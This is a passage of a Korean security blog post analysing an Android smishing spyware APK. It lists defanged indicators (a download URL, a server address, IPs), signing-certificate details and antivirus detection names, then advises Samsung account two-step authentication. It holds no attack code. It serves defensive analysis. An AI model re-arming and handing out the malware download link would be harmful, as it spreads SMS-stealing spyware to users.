악성코드와 관련이 있는 주소는 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
http://www.slvu(.)pub/
https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29.apk

그리고 악성코드 인증서 정보는 다음과 같습니다.

악성코드 인증서 정보
악성코드 인증서 정보

서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android(.)com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형:SHA1withRSA
서명 OID:1.2.840.113549.1.1.5
MD5 지문:E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87 
SHA-1 지문: 61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81 
SHA-256 지문: A4 0D A8 0A 59 D1 70 CA A9 50 CF 15 C1 8C 45 4D 47 A3 9B 26 98 9D 8B 64 0E CD 74 5B A7 1B F5 DC

해당 악성코드가 사용하는 트래픽은 다음과 같습니다.

108.177.119(.)106:443(TCP)
108.177.119(.)188:5228(TCP)
108.177.119(.)95:443(TCP)
108.177.126(.)95:443(TCP)
108.177.127(.)147:443(TCP)
108.177.127(.)95:443(TCP)
108.177.127(.)99:443(TCP)
142.250.145(.)101:443(TCP)
142.250.145(.)94:80(TCP)
142.250.178(.)10:443(TCP)
142.250.187(.)202:443(TCP)
142.250.187(.)206:443(TCP)
142.250.200(.)42:443(TCP)
142.250.200(.)46:443(TCP)
142.251.31(.)103:443(TCP)
142.251.31(.)103:443(UDP)
142.251.31(.)188:5228(TCP)
142.251.31(.)95:443(TCP)
142.251.5(.)188:5228(TCP)
154.55.129(.)163:80(TCP)
172.217.169(.)10:443(TCP)
172.217.169(.)78:443(TCP)
173.194.79(.)94:443(TCP)
173.194.79(.)95:443(TCP)
216.58.212(.)234:443(TCP)
216.58.213(.)10:443(TCP)
216.58.213(.)4:443(TCP)
216.58.213(.)4:80(TCP)
66.102.1(.)188:5228(TCP)
74.125.128(.)95:443(TCP)
74.125.140(.)188:5228(TCP)

그리고 해당 2022-11-22 03:47:19 UTC 바이러스토탈 기준으로 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Avast:Android:SmsForw-BX [Trj]
Avast-Mobile:Android:Evo-gen [Trj]
AVG:Android:SmsForw-BX [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Trojan.SpyAgent.EM
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
Fortinet:Android/Agent.BSO!tr
Google:Detected
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0057ee141 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
QuickHeal:Android.SMForw.GEN37097
Sophos:Andr/Spy-BFE
Symantec Mobile Insight:Spyware:MobileSpy
Trustlook:Android.PUA.DebugKey

Samsung account삼성 계정 2단계 인증
삼성 계정 2단계 인증

해당 악성코드는 스미싱(Smishing)이며 삼성에서 사용하는 다른 기기에서도 전화/문자 하기(Call & text on other devices,Call & Message Continuity)설정을 요구하는 것을 보면 私見으로는 최근에 010으로 발신번호 조작을 하려고 번호 변조 중계기를 이용해서 처음에는 모델 같은 데서 고정해서 사용하다가 개집, 가방에 넣고 이동을 하거나 하는 방식으로 흔히 인간 중계기 방식을 사용을 하다고 보이스피싱을 하고 있는데 해당 부분이 자꾸 걸리니 안전하게? 삼성 계정을 훔쳐서 다른 기기에서도 전화/문자 하기 기능을 악용하는 것이 아닐까 생각을 하면 가장 기본적으로 귀찮더라도 2단계 인증은 반드시 하는 것을 추천이 아니 필수로 하시길 바랍니다.
삼성 스마트폰 및 삼성 태블릿 2단계 인증을 하는 방법은 다음과 같습니다.
설정->삼성 계정->보안 및 개인정보 보호->2단계 인증->인증 앱->여기서는 삼성에서는 MS Authenticator을 권장을 하고 있지만 일단 다른 인증 앱 사용을 할 수가 있습니다.

[소프트웨어 팁/보안 및 분석] - 구글 2단계인증으로 스스로 구글계정 보호하기

 

구글 2단계인증으로 스스로 구글계정 보호하기

오늘은 간단하게 구글 계정을 보호하기 위해서 2단계 인증 설치하는 방법에 대해 적어 보겠습니다. 아마도 구글 계정을 2단계 인증을 하는 이유는 간단합니다. 다른 사람이 자신의 ID와 비밀번호

wezard4u.tistory.com

예를 들어서 구글 OTP를 사용을 한다고 하면 수동으로 코드를 받아서 구글 OTP에 등록을 하고 하는 방법이고 그냥 삼성에서 시키는 대로 하면 MS Authenticator 사용 선택->MS Authenticator 설치 후 인증을 진행하시면 됩니다.
여기서 계좌 비밀번호를 입력했으면 반드시 자신이 거래하는 은행의 비밀번호를 변경하시고 삼성계정을 2단계 인증을 하지 않았으면 비밀번호를 입력했으면 에는 반드시 빨리 비밀번호를 변경하시고 2단계 인증을 해 주시면 됩니다.

그리고 자신이 사용하는 게임 예를 들어서 스팀(Steam), 에픽게임즈(Epic Games) 이든 뭐든 간에 2단계 인증을 할 수 있으면 반드시 2단계 인증을 하는 것이 안전하게 사용을 하는 방법입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band